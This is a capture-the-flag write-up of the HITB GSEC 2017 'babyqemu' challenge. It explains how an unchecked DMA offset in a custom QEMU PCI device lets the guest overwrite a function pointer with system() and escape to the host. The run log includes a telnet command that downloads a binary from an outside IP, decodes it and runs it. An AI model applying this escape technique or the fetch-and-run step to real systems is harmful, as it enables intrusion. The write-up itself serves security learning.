HITB GSEC 2017: babyqemu
This is a short writeup explaining how I solved the “babyqemu” challenge of HITB GSEC 2017. I greatly enjoyed solving the challenge since I had never before written any kind of hypervisor escape.
Overview
For this challenge, players were given a tar.gz file containing the following files:
-rwxr-xr-x 1 sam staff 281B Jul 11 15:38 launch.sh
drwxr-xr-x 59 sam staff 2.0K Jul 11 13:36 pc-bios
-rwxr-xr-x 1 sam staff 38M Jul 11 13:32 qemu-system-x86_64
-rw-r--r-- 1 sam staff 3.7M Jul 11 13:32 rootfs.cpio
-rwxr-xr-x 1 sam staff 7.0M Jul 11 13:35 vmlinuz-4.8.0-52-generic
The launch.sh script contains the following:
Note the last line, in which a custom hitb
device is made available for the
guest operating system. It seems our goal is to exploit the emulation code for
this device and gain code execution inside the qemu process (running the
qemu-system-x86_64
executable). The fact that we can simply login as root on
the provided machine (and remotely) without a password supports this theory.
Reversing the device emulator
Fortunately, the provided qemu-system-x86_64
was not stripped (and even
contained debug symbols, giving us structure layouts) so we have all the
function names. Loading the qemu-system-x86_64
into IDA, we can filter for
all functions containing the word hitb
and are left with a fairly short list
of relevant functions:
Function name Segment Start Length
------------- ------- ----- ------
do_qemu_init_pci_hitb_register_types .text 0000555555754BF0 00000011
hitb_enc .text 00005555557D7DD0 0000001E
pci_hitb_register_types .text 00005555557D7DF0 0000000C
hitb_class_init .text 00005555557D7E00 0000006F
pci_hitb_uninit .text 00005555557D7E70 00000060
hitb_instance_init .text 00005555557D7ED0 00000069
hitb_obj_uint64 .text 00005555557D7F40 00000011
hitb_raise_irq .text 00005555557D7F60 0000002B
hitb_fact_thread .text 00005555557D7F90 000000F9
hitb_dma_timer .text 00005555557D8090 0000010F
hitb_mmio_write .text 00005555557D81A0 000002A0
hitb_mmio_read .text 00005555557D8440 00000148
pci_hitb_realize .text 00005555557D8590 000000D0
The registered PCI device uses the following struct to store any state:
00000000 HitbState struc ; (sizeof=0x1BD0, align=0x10, copyof_1490)
00000000 pdev PCIDevice_0 ?
000009F0 mmio MemoryRegion_0 ?
00000AF0 thread QemuThread_0 ?
00000AF8 thr_mutex QemuMutex_0 ?
00000B20 thr_cond QemuCond_0 ?
00000B50 stopping db ?
00000B58 fact dd ?
00000B5C status dd ?
00000B60 irq_status dd ?
00000B68 dma dma_state ?
00000B88 dma_timer QEMUTimer_0 ?
00000BB8 dma_buf db 4096 dup(?)
00001BB8 enc dq ? ; offset
00001BC0 dma_mask dq ?
00001BD0 HitbState ends
00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_1488)
00000000 src dq ?
00000008 dst dq ?
00000010 cnt dq ?
00000018 cmd dq ?
00000020 dma_state ends
Reversing the code a bit, we see that:
-
The code registers a custom PCI device names ‘hitb’ and allocates an I/O memory region for it. With memory mapped I/O, the guest can read and write device “registers” simply by reading from and writing to specific physical addresses.
-
The registered device has handler functions (
hitb_mmio_write
andhitb_mmio_read
) for read and write accesses from the guest to the allocated memory region. These handlers will be called everytime the guest operating systems accesses a physical address inside the range allocated for the PCI device. -
The device supports a custom DMA mechanism, allowing the guest operating system to read and write data into a fixed-sized buffer (
dma_buf
) inside of the device structure
The DMA buffer can be written to in the following way:
- The guest writes the physical address of the source buffer to the
dma.src
register (by writing to offset 128 in the iomem region) - The guest writes the host buffer offset into the
dma.dst
register (offset 136) - The guest writes the number of bytes to copy into the
dma.cnt
register (offset 144) - The guest writes the constant 1 into the
dma.cmd
register (offset 152)
This will schedule the execution of a separate function which essentially performs a memcpy from the given guest buffer into the host buffer.
Reading back the content of the DMA buffer works essentially the same, except that src and dst need to be exchanged.
Looking at the code, we can see that no validation is performed on the given offset into the DMA buffer. As such we can read to and write from arbitrary memory adjacent to the hitb device instance (since the buffer is embedded into the structure, and not just a pointer to it).
Conveniently, a function pointer (enc
) is located right after the storage
buffer and will be called if the guest requests “encrypted” DMA transfers
(which simply XORs all data with 0x66). The first argument for that function
will be a pointer into the dma_buf
, thus containing attacker controlled data.
Even more conveniently, the system
function is linked into the qemu binary,
so we don’t even need to leak the address of libc.
All we have left to do is implement I/O memory accesses from the guest.
Memory mapped I/O from Linux usermode
Access to (almost) the whole physical memory is possible in Linux by open()ing
and mmap()ing /dev/mem
. However, in our case there is a simpler way: the
device directory under /sys contains a pseudofile named “resource0”, which
gives the user a “view” onto the physical memory used by the device. In our
case, the full path for this device file is
/sys/devices/pci0000:00/0000:00:04.0/resource0
.
With that, reading e.g. the register at offset 128 (the dma.src
register) can
be performed with the following C code:
To use the DMA mechanism, we also need the physical address of a buffer that we
can write to and read from. Fortunately, Linux provides the /proc/$pid/pagemap
pseudofile, which
gives us excactly this information. Using this pseudofile, we can obtain the
physical address for a virtual address in our process using the following C
code:
With that we have everything to reach the vulnerable code inside the custom qemu binary.
Putting everything together
The exploit now does the following:
- Use the out-of-bounds DMA access to read the value of the
enc
function pointer - Add the offset to the PLT stub for
system
to that pointer and write it back using the DMA bug again - Write the string
cat flag
into the DMA page. This will be the first argument to theenc
function pointer - Perform an “encrypted” DMA transfer to call the function pointer
Here is the exploit in action:
__ __ _ _ _ _ ___ _____ ____
\ \ / /__| | ___ ___ _ __ ___ ___ | |_ ___ | | | |_ _|_ _| __ )
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \ | |_| || | | | | _ \
\ V V / __/ | (_| (_) | | | | | | __/ | || (_) | | _ || | | | | |_) |
\_/\_/ \___|_|\___\___/|_| |_| |_|\___| \__\___/ |_| |_|___| |_| |____/
Welcome to HITB
HITB login: root
# telnet 128.199.51.139 5555 > pwn.b64
# base64 -d pwn.b64 > pwn
# chmod +x pwn
# ./pwn
iomem @ 0x7fec5fa96000
DMA buffer (virt) @ 0x7fec5fa95000
DMA buffer (phys) @ 0x20e7000
binary @ 0x561d2185a000
HITB{907825fdd6e748fb84850c11ce0bef8d}
The full exploit can be found here.